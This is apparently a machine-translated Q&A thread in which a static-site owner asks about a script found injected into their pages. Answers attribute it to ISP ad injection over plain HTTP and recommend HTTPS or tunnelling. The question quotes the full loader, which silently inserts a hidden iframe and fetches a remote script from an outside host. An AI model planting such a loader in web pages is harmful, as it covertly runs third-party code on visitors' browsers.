
私は静的なウェブサイトを持っています。自分のコンピュータでローカルにウェブページを更新し、FileZilla を使用してアップロードします。しかし、アップロード後にページのソース コードを確認すると、スクリプトが挿入されているのがわかります<head>
。このスクリプトはページのレイアウトや表示コンテンツを変更しないため、何をするのかさえわかりません。
<script>
if (top == window) {
var engageNameSpace = "engagens";
"undefined" == typeof window[engageNameSpace] && (window[engageNameSpace] = {}), window[engageNameSpace].engageLoader = function() {
function e(e) {
return "undefined" != typeof e && null !== e
}
function t() {
var t = document.createElement("script");
t.setAttribute("src", s), t.setAttribute("id", "fn_engage_script"), t.setAttribute("async", ""), (null == document.head || e(document.head)) && (document.head = document.getElementsByTagName("head")[0]), document.head.appendChild(t)
}
function n() {
var t = r();
if (e(t)) {
var n = t;
i() && (n = d(t));
var o;
try {
o = document.documentElement, o.appendChild(n)
} catch (c) {
o = document.body, o.appendChild(n)
}
a()
}
}
function a() {
function e(e) {
var n = e.data;
"l8IframeIsReady" === n.message && t()
}
window.addEventListener ? window.addEventListener("message", e, !1) : window.attachEvent("onmessage", e)
}
function r() {
var t = document.createElement("iframe");
if (e(t)) {
t.setAttribute("id", "fn_engage"), t.setAttribute("src", u), t.setAttribute("target", "_blank"), t.setAttribute("frameborder", "0");
var n = /firefox/i.exec(navigator.userAgent);
e(n) && n.length > 0 ? (t.style.height = 0, t.style.width = 0) : t.style.display = "none", t.frameBorder = "no"
}
return t
}
function i() {
var t = !1,
n = /android (\d+)/i.exec(navigator.userAgent);
return e(n) && n.length > 0 && (t = parseInt(n[1]) >= 4), t
}
function d(e) {
var t = document.createElement("div");
return t.setAttribute("id", "fn_wrapper_div"), t.style.position = "fixed", t.style.display = "none", t.ontouchstart = function() {
return !0
}, t.appendChild(e), t
}
function o() {
var t = void 0,
a = this,
r = function() {
e(t) && (window.clearTimeout(t), t = void 0, n.call(a))
};
t = window.setTimeout(r, 1e4), "function" == typeof window.addEventListener ? window.addEventListener("load", r, !1) : window.attachEvent("onload", r)
}
var c = "http://globe.moreforme.net",
u = c + "/l8/EngageService?v=1",
s = c + "/scripts/Engage.js";
o()
};
var engageLoader = new window[engageNameSpace].engageLoader
}
</script>
スクリプトの URL を確認するとhttp://globe.moreforme.net
、スクリプトはおそらく ISP (Globe) からのものであることがわかりました。私はインターネット セキュリティの初心者なので、そもそもスクリプトがどのようにしてそこに入ったのかわかりません。私のサイトは静的 HTML です。ページがアップロードされたら、そのスクリプトがソース コードに表示されないようにするにはどうすればよいでしょうか。
編集:
これを見つけたリンクこれはスクリプトを作成するためのテンプレート コードのようです。このスクリプトが何をするのか知っている人はいますか?
答え1
まず、これはHTTPSではなくHTTPを使用している場合にのみ機能します。
ISP はこのスクリプトを挿入し、それを使用して別のスクリプトを動的に読み込みます (iframe 内でしょうか)。
何らかの理由で、スクリプトをホストしている globe.moreforme.net に移動できません... globe.moreforme.ph にリダイレクトされるため、globe.moreforme.net は ISP を使用しているユーザーのみが利用できる可能性があります。
さて、もし私が大胆に推測するなら... ISP は、この動的に読み込まれるスクリプトを使用して、ユーザーがアクセスしたページの広告を乗っ取り、収益を自分たちのものにしようとしていると思います。
SSHを調べて、HTTPS サイトのみを使用するか、安全な SOCKS5 プロキシ (VPS で非常に安価にセットアップできる) を使用することで、これを防ぐことができますDynamic Port Forwarding
。または、全国規模のファイアウォールがある国 (中国) にいる場合は、ShadowSocks を調べることもできます。
答え2
これは、Globe Telecom が悪質な Flash Networks と提携して、自社の広告を追加し、おそらくは他社の広告をハッキングすることで、顧客が読み込むページを変更した結果です。
この行為の合法性は疑問です。少なくとも著作権法に違反しているはずです。しかし、フィリピンの管轄権を考えると、法的にできることは何もないと思います。
これは、すべてのサイトで HTTPS を使用し、HTTP を無効にする (HTTPS にリダイレクトする以外) 必要がある理由でもあります。現在、DNS 名の SSL 証明書を無料で取得する方法は複数あり、Google スコアも向上します。